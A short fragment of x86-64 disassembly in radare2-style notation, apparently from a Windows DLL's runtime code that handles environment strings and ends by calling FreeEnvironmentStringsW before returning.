mov rcx, r14
call fcn.180010fa0
mov rdi, rax
test rax, rax
jne 0x180012b0c
xor ecx, ecx
call fcn.180011000
jmp 0x180012ae8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800129b0
test eax, eax
jne 0x180012b3d
mov rcx, rdi
call fcn.180011000
jmp 0x180012b47
xor ecx, ecx
call fcn.180011000
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret